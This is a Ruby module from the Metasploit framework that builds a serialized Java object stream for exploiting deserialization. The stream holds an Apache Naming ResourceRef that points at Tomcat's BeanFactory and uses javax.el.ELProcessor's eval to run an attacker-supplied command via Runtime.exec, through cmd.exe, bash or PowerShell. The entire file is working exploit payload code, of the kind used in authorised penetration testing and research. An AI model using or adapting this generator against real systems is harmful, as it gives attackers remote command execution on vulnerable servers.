187 lines
7.9 KiB
Ruby
187 lines
7.9 KiB
Ruby
|
|
# -*- coding: binary -*-
|
||
|
|
|
||
|
|
require 'stringio'
|
||
|
|
require 'rex/java'
|
||
|
|
|
||
|
|
module Msf
|
||
|
|
module Util
|
||
|
|
class JavaDeserialization
|
||
|
|
class BeanFactory
|
||
|
|
|
||
|
|
def self.generate(cmd, shell: nil)
|
||
|
|
js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"
|
||
|
|
|
||
|
|
# emulate the same behavior as the ysoserial-modified series,
|
||
|
|
# see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
|
||
|
|
payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
|
||
|
|
case shell
|
||
|
|
when 'cmd'
|
||
|
|
payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
|
||
|
|
when 'bash'
|
||
|
|
payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
|
||
|
|
when 'powershell'
|
||
|
|
payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
|
||
|
|
when nil
|
||
|
|
payload_string << js_escaped
|
||
|
|
else
|
||
|
|
raise NotImplementedError, "unsupported shell: #{shell.inspect}"
|
||
|
|
end
|
||
|
|
payload_string << ")\")}"
|
||
|
|
|
||
|
|
builder = Rex::Java::Serialization::Builder.new
|
||
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
||
|
|
stream.contents = [
|
||
|
|
builder.new_object(
|
||
|
|
name: 'org.apache.naming.ResourceRef',
|
||
|
|
serial: 1,
|
||
|
|
flags: 2,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
super_class: builder.new_class(
|
||
|
|
name: 'org.apache.naming.AbstractRef',
|
||
|
|
serial: 1,
|
||
|
|
flags: 2,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
super_class: builder.new_class(
|
||
|
|
name: 'javax.naming.Reference',
|
||
|
|
serial: 16773268283643759881,
|
||
|
|
flags: 2,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
).tap { |new_class|
|
||
|
|
new_class.fields = [
|
||
|
|
new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
|
||
|
|
new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
|
||
|
|
new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
|
||
|
|
new_field(name: 'className', field_type: new_ref(handle: 8257540))
|
||
|
|
]
|
||
|
|
},
|
||
|
|
),
|
||
|
|
data: [
|
||
|
|
builder.new_object(
|
||
|
|
name: 'java.util.Vector',
|
||
|
|
serial: 15679138459660562177,
|
||
|
|
flags: 3,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
data: [
|
||
|
|
['int', 0],
|
||
|
|
['int', 5],
|
||
|
|
# stream.contents.first.class_data[0].class_data[2]
|
||
|
|
builder.new_array(
|
||
|
|
values_type: 'java.lang.Object;',
|
||
|
|
name: '[Ljava.lang.Object;',
|
||
|
|
serial: 10434374826863044972,
|
||
|
|
flags: 2,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
# stream.contents.first.class_data[0].class_data[2].values
|
||
|
|
values: [
|
||
|
|
# stream.contents.first.class_data[0].class_data[2].values[0]
|
||
|
|
builder.new_object(
|
||
|
|
name: 'javax.naming.StringRefAddr',
|
||
|
|
serial: 9532981578571046089,
|
||
|
|
flags: 2,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
super_class: builder.new_class(
|
||
|
|
name: 'javax.naming.RefAddr',
|
||
|
|
serial: 16978578953230397258,
|
||
|
|
flags: 2,
|
||
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||
|
|
).tap { |new_class|
|
||
|
|
new_class.fields = [
|
||
|
|
new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
|
||
|
|
]
|
||
|
|
},
|
||
|
|
data: [
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream)
|
||
|
|
]
|
||
|
|
).tap { |new_object|
|
||
|
|
new_object.class_desc.description.fields = [
|
||
|
|
new_field(name: 'contents', field_type: new_ref(handle: 8257540))
|
||
|
|
]
|
||
|
|
},
|
||
|
|
# stream.contents.first.class_data[0].class_data[2].values[1]
|
||
|
|
builder.new_object(
|
||
|
|
description: new_ref(handle: 8257547),
|
||
|
|
data: [
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
|
||
|
|
new_ref(handle: 8257551)
|
||
|
|
]
|
||
|
|
),
|
||
|
|
builder.new_object(
|
||
|
|
description: new_ref(handle: 8257547),
|
||
|
|
data: [
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
|
||
|
|
]
|
||
|
|
),
|
||
|
|
# stream.contents.first.class_data[0].class_data[2].values[3]
|
||
|
|
builder.new_object(
|
||
|
|
description: new_ref(handle: 8257547),
|
||
|
|
data: [
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
|
||
|
|
]
|
||
|
|
),
|
||
|
|
# stream.contents.first.class_data[0].class_data[2].values[4]
|
||
|
|
builder.new_object(
|
||
|
|
description: new_ref(handle: 8257547),
|
||
|
|
data: [
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
|
||
|
|
]
|
||
|
|
),
|
||
|
|
# stream.contents.first.class_data[0].class_data[2].values[5]
|
||
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
||
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
||
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
||
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
||
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
||
|
|
]
|
||
|
|
)
|
||
|
|
]
|
||
|
|
).tap { |new_object|
|
||
|
|
new_object.class_desc.description.fields = [
|
||
|
|
new_field(type: 'int', name: 'capacityIncrement'),
|
||
|
|
new_field(type: 'int', name: 'elementCount'),
|
||
|
|
new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
|
||
|
|
]
|
||
|
|
},
|
||
|
|
Rex::Java::Serialization::Model::EndBlockData.new,
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
|
||
|
|
Rex::Java::Serialization::Model::NullReference.new
|
||
|
|
]
|
||
|
|
),
|
||
|
|
Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
|
||
|
|
]
|
||
|
|
stream.encode
|
||
|
|
end
|
||
|
|
|
||
|
|
class << self
|
||
|
|
private
|
||
|
|
# helper methods that are not in Rex::Java::Serialization::Builder
|
||
|
|
def new_field(opts = {})
|
||
|
|
name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])
|
||
|
|
if opts[:field_type].is_a? String
|
||
|
|
field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])
|
||
|
|
else
|
||
|
|
field_type = opts[:field_type]
|
||
|
|
end
|
||
|
|
|
||
|
|
field = Rex::Java::Serialization::Model::Field.new
|
||
|
|
field.type = opts[:type] || 'object'
|
||
|
|
field.name = name
|
||
|
|
field.field_type = field_type
|
||
|
|
field
|
||
|
|
end
|
||
|
|
|
||
|
|
def new_ref(opts = {})
|
||
|
|
ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])
|
||
|
|
ref.handle = opts[:handle]
|
||
|
|
|
||
|
|
ref
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|